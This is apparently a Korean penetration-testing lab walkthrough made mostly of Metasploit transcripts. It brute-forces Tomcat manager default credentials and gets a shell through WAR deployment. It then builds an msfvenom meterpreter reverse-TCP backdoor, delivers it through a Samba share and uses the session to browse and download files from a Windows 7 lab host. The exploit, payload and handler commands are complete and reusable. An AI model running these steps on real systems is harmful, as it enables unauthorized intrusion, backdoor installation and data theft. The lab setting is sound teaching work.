Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.9.2-2014052101 [core:4.9 api:1.0] ]
+ -- --=[ 1311 exploits - 784 auxiliary - 221 post        ]
+ -- --=[ 335 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search tomcat
Matching Modules
================

   Name                                            Disclosure Date  Rank       Description
   ----                                            ---------------  ----       -----------
   auxiliary/admin/http/tomcat_administration     normal     Tomcat Administration Tool Default Access
   auxiliary/admin/http/tomcat_administration                           normal     Tomcat Administration Tool Default Access
   auxiliary/admin/http/tomcat_utf8_traversal                           normal     Tomcat UTF-8 Directory Traversal Vulnerability
   auxiliary/admin/http/tomcat_utf8_traversal                           normal     Tomcat UTF-8 Directory Traversal Vulnerability
   auxiliary/admin/http/trendmicro_dlp_traversal                        normal     TrendMicro Data Loss Prevention 5.5 Directory Traversal
   auxiliary/admin/http/trendmicro_dlp_traversal                        normal     TrendMicro Data Loss Prevention 5.5 Directory Traversal
   auxiliary/dos/http/apache_commons_fileupload_dos    2014-02-06       normal     Apache Commons FileUpload and Apache Tomcat DoS
   auxiliary/dos/http/apache_commons_fileupload_dos    2014-02-06       normal     Apache Commons FileUpload and Apache Tomcat DoS
   auxiliary/dos/http/apache_tomcat_transfer_encoding  2010-07-09       normal     Apache Tomcat Transfer-Encoding Information Disclosure and DoS
   auxiliary/dos/http/apache_tomcat_transfer_encoding  2010-07-09       normal     Apache Tomcat Transfer-Encoding Information Disclosure and DoS
   auxiliary/dos/http/hashcollision_dos                2011-12-28       normal     Hashtable Collisions
   auxiliary/dos/http/hashcollision_dos                2011-12-28       normal     Hashtable Collisions
   auxiliary/scanner/http/tomcat_enum                                   normal     Apache Tomcat User Enumeration
   auxiliary/scanner/http/tomcat_enum                                   normal     Apache Tomcat User Enumeration
   auxiliary/scanner/http/tomcat_mgr_login                              normal     Tomcat Application Manager Login Utility
   auxiliary/scanner/http/tomcat_mgr_login                              normal     Tomcat Application Manager Login Utility
   exploit/multi/http/struts_default_action_mapper     2013-07-02       excellent  Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution
   exploit/multi/http/struts_dev_mode                  2012-01-06       excellent  Apache Struts 2 Developer Mode OGNL Execution
   exploit/multi/http/tomcat_mgr_deploy                2009-11-09       excellent  Apache Tomcat Manager Application Deployer Authenticated Code Execution
   exploit/multi/http/tomcat_mgr_upload                2009-11-09       excellent  Apache Tomcat Manager Authenticated Upload Code Execution
   post/windows/gather/enum_tomcat                                      normal     Windows Gather Apache Tomcat Enumeration
   post/windows/gather/enum_tomcat                                      normal     Windows Gather Apache Tomcat Enumeration

msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > show options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

   Name Current Setting     Required  Description
   ---- ---------------     --------  -----------
   BLANK_PASSWORDS   false       no   Try blank passwords for all users
   BRUTEFORCE_SPEED  5     to bruteforce, from 0 to 5
   DB_ALL_CREDS      false       no   Try each user/password couple stored in the current database
   DB_ALL_PASS       false       no   Add all passwords in the current database to the list
   DB_ALL_USERS      false       no   Add all users in the current database to the list
   PASSWORD                      no   A specific password to authenticate with
   PASS_FILE         /opt/metasploit/apps/pro/msf3/data/wordlists/tomcat_mgr_default_pass.txt      no        File containing passwords, one per line
   Proxies                                                                                         no        Use a proxy chain
   RHOSTS                                                                                          yes       The target address range or CIDR identifier
   RPORT             8080                                                                          yes       The target port
   STOP_ON_SUCCESS   false                                                                         yes       Stop guessing when a credential works for a host
   THREADS           1                                                                             yes       The number of concurrent threads
   URI               /manager/html                                                                 yes       URI for Manager login. Default is /manager/html
   USERNAME                                                                                        no        A specific username to authenticate as
   USERPASS_FILE     /opt/metasploit/apps/pro/msf3/data/wordlists/tomcat_mgr_default_userpass.txt  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                                         no        Try the username as the password for all users
   USER_FILE         /opt/metasploit/apps/pro/msf3/data/wordlists/tomcat_mgr_default_users.txt     no        File containing users, one per line
   VERBOSE           true                                                                          yes       Whether to print output for all attempts
   VHOST                                                                                           no        HTTP server virtual host

msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.10.134
rhosts => 192.168.10.134
msf auxiliary(tomcat_mgr_login) > set rport 8180
rport => 8180
msf auxiliary(tomcat_mgr_login) > exploit

[*] 192.168.10.134:8180 TOMCAT_MGR - [01/55] - Trying username:'j2deployer' with password:'j2deployer'
[-] 192.168.10.134:8180 TOMCAT_MGR - [01/55] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'j2deployer'
[*] 192.168.10.134:8180 TOMCAT_MGR - [02/55] - Trying username:'ovwebusr' with password:'OvW*busr1'
[-] 192.168.10.134:8180 TOMCAT_MGR - [02/55] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'ovwebusr'
[*] 192.168.10.134:8180 TOMCAT_MGR - [03/55] - Trying username:'cxsdk' with password:'kdsxc'
[-] 192.168.10.134:8180 TOMCAT_MGR - [03/55] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'cxsdk'

..... (중략) ....

[*] 192.168.10.134:8180 TOMCAT_MGR - [47/55] - Trying username:'tomcat' with password:'role1'
[-] 192.168.10.134:8180 TOMCAT_MGR - [47/55] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 192.168.10.134:8180 TOMCAT_MGR - [48/55] - Trying username:'tomcat' with password:'root'
[-] 192.168.10.134:8180 TOMCAT_MGR - [48/55] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 192.168.10.134:8180 TOMCAT_MGR - [49/55] - Trying username:'tomcat' with password:'tomcat'
[+] http://192.168.10.134:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
[*] 192.168.10.134:8180 TOMCAT_MGR - [50/55] - Trying username:'both' with password:'admin'
[-] 192.168.10.134:8180 TOMCAT_MGR - [50/55] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both'
[*] 192.168.10.134:8180 TOMCAT_MGR - [51/55] - Trying username:'both' with password:'manager'
[-] 192.168.10.134:8180 TOMCAT_MGR - [51/55] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both'
[*] 192.168.10.134:8180 TOMCAT_MGR - [52/55] - Trying username:'both' with password:'role1'
[-] 192.168.10.134:8180 TOMCAT_MGR - [52/55] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both'
[*] 192.168.10.134:8180 TOMCAT_MGR - [53/55] - Trying username:'both' with password:'root'
[-] 192.168.10.134:8180 TOMCAT_MGR - [53/55] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both'
[*] 192.168.10.134:8180 TOMCAT_MGR - [54/55] - Trying username:'both' with password:'tomcat'
[-] 192.168.10.134:8180 TOMCAT_MGR - [54/55] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both'
[*] 192.168.10.134:8180 TOMCAT_MGR - [55/55] - Trying username:'both' with password:'s3cret'
[-] 192.168.10.134:8180 TOMCAT_MGR - [55/55] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

-> [+] 되어 있으면 성공한 것이다.

④ 관리자 페이지로 접속
# firefox http://192.168.10.134:8180/manager/html
-> 아이디 : tomcat
-> 패스워드 : tomcat

-> 접속후 하단에 war 파일을 업로드 할 수 있는 기능을 확인
--------------------------------------------------------------------------------
......
---------------------------------------------------------
WAR file to deploy
---------------------------------------------------------

    Select WAR file to upload [Browser] No file selected.
                     [Deploy]
--------------------------------------------------------------------------------
-> Tomcat를 기본 설치를 하면 '파일 업로드 취약점'이 생긴다.
-> 이 취약점을 통해 악성코드가 포함된 war 파일을 이용해 시스템에 침투할 수 있다.

⑥ 메타스플로잇의 자동 악성 코드 업로드 공격 사용
# msfconsole

msf auxiliary(tomcat_mgr_login) > search tomcat
..... (중략) .....
   auxiliary/scanner/http/tomcat_mgr_login                              normal     Tomcat Application Manager Login Utility
   exploit/multi/http/struts_default_action_mapper     2013-07-02       excellent  Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution
   exploit/multi/http/struts_dev_mode                  2012-01-06       excellent  Apache Struts 2 Developer Mode OGNL Execution
   exploit/multi/http/tomcat_mgr_deploy                2009-11-09       excellent  Apache Tomcat Manager Application Deployer Authenticated Code Execution
   exploit/multi/http/tomcat_mgr_upload                2009-11-09       excellent  Apache Tomcat Manager Authenticated Upload Code Execution
   post/windows/gather/enum_tomcat                                      normal     Windows Gather Apache Tomcat Enumeration
   post/windows/gather/enum_tomcat                                      normal     Windows Gather Apache Tomcat Enumeration

msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy
sf exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   PATH      /manager         yes       The URI path of the manager app (/deploy and
                                        /undeploy will be used)
   Proxies                    no        Use a proxy chain
   RHOST                      yes       The target address
   RPORT     80               yes       The target port
   USERNAME                   no        The username to authenticate as
   VHOST                      no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(tomcat_mgr_deploy) > set password tomcat
password => tomcat
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.10.134
rhost => 192.168.10.134
msf exploit(tomcat_mgr_deploy) > set rport 8180
rport => 8180
msf exploit(tomcat_mgr_deploy) > set username tomcat
username => tomcat
msf exploit(tomcat_mgr_deploy) > show payloads
Compatible Payloads
===================

   Name                            Disclosure Date  Rank    Description
   ----                            ---------------  ----    -----------
   generic/custom                                   normal  Custom Payload
   generic/shell_bind_tcp                           normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                        normal  Generic Command Shell, Reverse TCP Inline
   java/meterpreter/bind_tcp                        normal  Java Meterpreter, Java Bind TCP Stager
   java/meterpreter/reverse_http                    normal  Java Meterpreter, Java Reverse HTTP Stager
   java/meterpreter/reverse_https                   normal  Java Meterpreter, Java Reverse HTTPS Stager
   java/meterpreter/reverse_tcp                     normal  Java Meterpreter, Java Reverse TCP Stager
   java/shell/bind_tcp                              normal  Command Shell, Java Bind TCP Stager
   java/shell/reverse_tcp                           normal  Command Shell, Java Reverse TCP Stager
   java/shell_reverse_tcp                           normal  Java Command Shell, Reverse TCP Inline

msf exploit(tomcat_mgr_deploy) > set payload java/shell/bind_tcp
payload => java/shell/bind_tcp
msf exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  tomcat           no        The password for the specified username
   PATH      /manager         yes       The URI path of the manager app (/deploy and
                    /undeploy will be used)
   Proxies                    no        Use a proxy chain
   RHOST     192.168.10.134   yes       The target address
   RPORT     8180             yes       The target port
   USERNAME  tomcat           no        The username to authenticate as
   VHOST                      no        HTTP server virtual host


Payload options (java/shell/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  192.168.10.134   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(tomcat_mgr_deploy) > exploit

[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6456 bytes as TZbEqMlwvWhjXx2vZyMI2tdANFMx.war ...
[*] Executing /TZbEqMlwvWhjXx2vZyMI2tdANFMx/FDDKrkqE4OadJgJF4h6N.jsp...
[*] Undeploying TZbEqMlwvWhjXx2vZyMI2tdANFMx ...
[*] Sending stage (2976 bytes) to 192.168.10.134
[*] Command shell session 1 opened (192.168.10.50:33731 -> 192.168.10.134:4444) at
    2014-07-18 14:09:52 +0900
hostname
metasploitable
dir
bin    dev   initrd    lost+found  nohup.out    root  sys  var
boot   etc   initrd.img      media       opt    sbin  tmp  vmlinuz
cdrom  home  lib     mnt    proc       srv   usr
cat /etc/passwd
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
..... (중략) .....
id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)
find / -user tomcat55 2>/dev/null | egrep -v /proc
/etc/tomcat5.5
/etc/tomcat5.5/server.xml
/etc/tomcat5.5/catalina.properties
/etc/tomcat5.5/Catalina
/etc/tomcat5.5/Catalina/localhost
/etc/tomcat5.5/context.xml
/etc/tomcat5.5/web.xml
/etc/tomcat5.5/policy.d
/etc/tomcat5.5/policy.d/10admin.policy
/etc/tomcat5.5/policy.d/02debian.policy
/etc/tomcat5.5/policy.d/04webapps.policy
/etc/tomcat5.5/policy.d/50user.policy
/etc/tomcat5.5/policy.d/01system.policy
/etc/tomcat5.5/policy.d/03catalina.policy
/etc/tomcat5.5/tomcat-users.xml
/etc/tomcat5.5/logging.properties
/etc/tomcat5.5/server-minimal.xml
/var/log/tomcat5.5
/var/cache/tomcat5.5
/var/cache/tomcat5.5/Catalina
/var/cache/tomcat5.5/Catalina/localhost
/var/cache/tomcat5.5/Catalina/localhost/host-manager
/var/cache/tomcat5.5/Catalina/localhost/host-manager/tldCache.ser
/var/cache/tomcat5.5/Catalina/localhost/_
/var/cache/tomcat5.5/Catalina/localhost/_/tldCache.ser
/var/cache/tomcat5.5/Catalina/localhost/servlets-examples
/var/cache/tomcat5.5/Catalina/localhost/servlets-examples/tldCache.ser
/var/cache/tomcat5.5/Catalina/localhost/webdav
/var/cache/tomcat5.5/Catalina/localhost/webdav/tldCache.ser
/var/cache/tomcat5.5/Catalina/localhost/tomcat-docs
/var/cache/tomcat5.5/Catalina/localhost/tomcat-docs/tldCache.ser
/var/cache/tomcat5.5/Catalina/localhost/balancer
/var/cache/tomcat5.5/Catalina/localhost/balancer/tldCache.ser
/var/cache/tomcat5.5/Catalina/localhost/jsp-examples
/var/cache/tomcat5.5/Catalina/localhost/jsp-examples/tldCache.ser
/var/cache/tomcat5.5/Catalina/localhost/admin
/var/cache/tomcat5.5/Catalina/localhost/admin/tldCache.ser
/var/cache/tomcat5.5/Catalina/localhost/manager
/var/cache/tomcat5.5/Catalina/localhost/manager/tldCache.ser
/var/lib/tomcat5.5/temp
/var/lib/tomcat5.5/webapps
/tmp/5100.jsvc_up
which gcc
/usr/bin/gcc
cd /tmp
echo 'main() { printf("hello\n"); }' > test.c
gcc -o test test.c
exit
[*] 192.168.10.134 - Command shell session 1 closed.  Reason: Died from EOFError
<ENTER>
msf exploit(tomcat_mgr_deploy) > quit

-> 따라서, 오픈소스 WAS로 운영중인 시스템은 정기적으로 공개되는 취약점에 대한 관심을 가져야 한다.
-> 여러가지 CMD를 수행해 본다.



(정리) 모의 해킹 테스트 절차에 대해서
● 타겟 시스템을 선정한다.
● 정보를 모은다.
● 취약점이 있는지 확인한다.
● 공격의 여지가 있는지 봐서 필요하다면 공격한다.
● 공격 성공이 되었다면 문서화 한다.



[실습] 메타스플로잇을 사용하여 윈도우즈 시스템 장악(meterpreter를 이용한 Reverse TCP 공격)

■ 사용시스템
- KaliLinux
- windows 7

메타스플로잇의 메터프리터(Meterpreter)에 대해서
● 루비(Ruby) 기반의 스크립트를 통해 취약점을 이용하여 대상 시스템에 침투한 후 간단한 명령어를 이용해 시스템의 정보를 획득할 수 있는 기능이다.
● 메타스플로잇에서 지원하는 라이브러리를 이용하기 때문에 어떤 방법을 이용해서 정보를 획득할 것인지에 대한 아이디어만 있다면 좋은 기능을 개발할 수 있다.


(전제조건) 메터프리터는 대상 서버에 침투가 이루어졌다는 가정하에 수행되는 것이기 때문에 여러가지 방법(EX: 톰캣 취약점)이 선행적으로 수행해야 한다.


리소스(Resource) 파일로 시스템 침투 환경 만들기
● 취약점을 통해 침투를 통해 환경 만들기
● 취약점을 통해 침투한 후 백도어(Backdoor, 악성코드)를 통해 환경 만들기

시스템 침투 환경을 만들기 위해 백도어를 이용하여 테스트 환경을 만드는 실습을 진행한다.

① 백도어 만들기
(KaliLinux)
# ifconfig | grep inet

          inet addr:192.168.10.50  Bcast:192.168.10.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe13:974a/64 Scope:Link
          inet addr:192.168.20.50  Bcast:192.168.20.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe13:9754/64 Scope:Link
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host


# mkdir -p /root/bin
# cd /root/bin
# vi reverse_resource.rc

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.20.50
set ExitSession false
exploit -j -z

-> LHOST 부분에는 자신의 IP를 입력한다.
-> (KaliLinux) # msfconsole -r reverse_resource.rc

② 페이로드(Payload)를 사용하여 공격 코드 자동 생성

    [참고] msfpayload/msfvenom 층 대해서
    (KaliLinux 1.X) msfpayload/msfvenom
    (KaliLinux 2.X) msfvenom

    [참고] msfvenom CMD 사용법
    # msfvenom
        -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
        -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
        -f, --format        <format>     Output format (use --help-formats for a list)
            --help-formats               List available formats
        -o, --out           <path>       Save the payload

# cd /root/bin
# msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.20.50 LPORT=4444 \
-f exe \
-o reverse_test.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Saved as: reverse_test.exe

-> LHOST에는 192.168.10.50 공격자의 IP 입력한다.
-> 생성된 reverse_test.ex 파일이 대상 시스템에서 실행하면 공격 시스템은 대상 시스템에 침투한 것과 동일한 환경이 된다.

# ls

reverse_resource.rc  reverse_test.exe


# file *

reverse_resource.rc:  ASCII text
reverse_resource2.rc: ASCII text
reverse_test.exe:     PE32+ executable (GUI) x86-64, for MS Windows


③ 대상 시스템(windows7)에 reverse_test.exe 파일을 복사

(가정) 여러가지 방법을 통해 reverse_test.exe 파일을 대상 PC에 복사했다고 가정한다.
   
    대상 시스템에 reverse_test.exe 파일을 복사하는 방법으로 samba 서비스 사용
    (KaliLinux) samba 서버를 통해 /share 디렉토리를 공유한다.
    (windows 7) 공유 디렉토리에 접속한다.(\\192.168.20.50)

(KaliLinux)
# mkdir -p /share
# chmod 777 /share
# cp reverse_test.exe /share

# vi /etc/samba/smb.conf

..... (중략) .....
# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace 'lpadmin' with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
;   write list = root, @lpadmin

[share]
   comment = Kali Linux Shared Directory
   path = /share
   browseable = yes
   read only = no
   writable = yes
   public = yes

-> 하단에 새로운 내용을 입력한다.

# service smbd restart
#



# smbclient -L localhost -N

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 4.0.6-Debian]

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    share           Disk      Kali Linux Share Directory
    IPC$            IPC       IPC Service (Samba 4.0.6-Debian)
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 4.0.6-Debian]

    Server               Comment
    ---------            -------
    KALI                 Samba 4.0.6-Debian
    SOLDESK-PC          

    Workgroup            Master
    ---------            -------
    WORKGROUP

-> 공유가 정상적으로 되어져 있는지 확인한다.

(windows7)
공유 디렉토리에 접속하여 파일을 로컬로 복사한다.
\\192.168.20.50\share\resource_test.exe ---> 바탕화면으로 복사

④ 칼리리눅스에서 reverse_resource.rc 파일을 이용하여 listen 상태로 실행
(KaliLinux)
# cd /root/bin
# msfconsole -r reverse_resource.rc

                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.9.2-2014052101 [core:4.9 api:1.0] ]
+ -- --=[ 1311 exploits - 784 auxiliary - 221 post        ]
+ -- --=[ 335 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing reverse_resource.rc for ERB directives.
resource (reverse_resource.rc)> use exploit/multi/handler
resource (reverse_resource.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (reverse_resource.rc)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (reverse_resource.rc)> set ExitSession false
ExitSession => false
resource (reverse_resource.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.20.50:4444
[*] Starting the payload handler...
msf exploit(handler) >

-> window7 에서 reverse_test.exe 파일이 실행될때 까지 기다린다.
⑤ window 7 시스템에서 reverse_test.exe 파일 실행
(windows7)
바탕화면에 놓은 reverse_test.exe 프로그램을 실행한다.

⑥ 칼리리눅스에서 연결된 세션을 확인하고 windows7의 시작프로그램에 악성 프로그램 등록
(KaliLinux)
KaliLinux에서 메세지 확인

[*] Sending stage (770048 bytes) to 192.168.20.202
[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.202:49169) at
    2014-07-20 16:41:39 +0900
[deprecated] I18n.enforce_available_locales will default to true in the future. If you really want to skip validation of your locale you can set I18n.enforce_available_locales =
false to avoid this message.
<ENTER>
msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:4444 ->
                                                      192.168.20.202:49175 (192.168.20.202)

msf exploit(handler) > sessions -i 1    /* 1은 세션 번호이다. */
[*] Starting interaction with 1...

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

meterpreter > sysinfo
Computer        : SOLDESK-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : ko_KR
Meterpreter     : x86/win32

meterpreter> ipconfig
Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:67:82:7c
MTU          : 1500
IPv4 Address : 192.168.20.202
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::888c:d406:3aa8:5513
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280


Interface 13
============
Name         : Teredo Tunneling Pseudo-Interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : 2001:0:9d38:90d7:c41:3f24:3f57:eb35
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fe80::c41:3f24:3f57:eb35
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > route

IPv4 network routes
===================

    Subnet           Netmask          Gateway         Metric  Interface
    ------           -------          -------         ------  ---------
    0.0.0.0          0.0.0.0          192.168.20.100  266     11
    127.0.0.0        255.0.0.0        127.0.0.1       306     1
    127.0.0.1        255.255.255.255  127.0.0.1       306     1
    127.255.255.255  255.255.255.255  127.0.0.1       306     1
    192.168.20.0     255.255.255.0    192.168.20.202  266     11
    192.168.20.202   255.255.255.255  192.168.20.202  266     11
    192.168.20.255   255.255.255.255  192.168.20.202  266     11
    224.0.0.0        240.0.0.0        127.0.0.1       306     1
    224.0.0.0        240.0.0.0        192.168.20.202  266     11
    255.255.255.255  255.255.255.255  127.0.0.1       306     1
    255.255.255.255  255.255.255.255  192.168.20.202  266     11

No IPv6 routes were found.
meterpreter > getuid
Server username: soldesk-PC\soldesk

meterpreter > pwd
C:\Users\soldesk\Desktop

meterpreter> lpwd
/root/bin

meterpreter > ls

Listing: C:\Users\soldesk\Desktop
=================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40555/r-xr-xr-x   0      dir   2014-07-18 20:11:38 +0900  .
40777/rwxrwxrwx   0      dir   2014-07-04 17:46:19 +0900  ..
100666/rw-rw-rw-  1379   fil   2014-07-09 22:12:02 +0900  Internet Explorer.lnk
40777/rwxrwxrwx   0      dir   2014-07-08 13:56:03 +0900  Security
100666/rw-rw-rw-  446    fil   2014-07-09 22:12:02 +0900  desktop.ini
100777/rwxrwxrwx  73802  fil   2014-07-20 16:37:01 +0900  reverse_test.exe

meterpreter > download            /* download 명령어 사용법 확인 */
Usage: download [options] src1 src2 src3 ... destination

Downloads remote files and directories to the local machine.

OPTIONS:

    -h        Help banner.
    -r        Download recursively.

meterpreter > download -r Security /root/bin
[*] downloading: Security\Thunderbird Setup 3.1.7.exe -> /root/bin/Thunderbird Setup 3.1.7.exe
[*] downloaded : Security\Thunderbird Setup 3.1.7.exe -> /root/bin/Thunderbird Setup 3.1.7.exe
-> 다운로드한 파일은 직접 확인하기 바란다.

meterpreter> pwd
C:\Users\soldesk\Desktop

meterpreter > cd ..
meterpreter> pwd
C:\Users\soldesk
meterpreter > cd AppData
meterpreter > cd Roaming
meterpreter > cd Microsoft
meterpreter > pwd
C:\Users\soldesk\AppData\Roaming\Microsoft
meterpreter > cd Windows
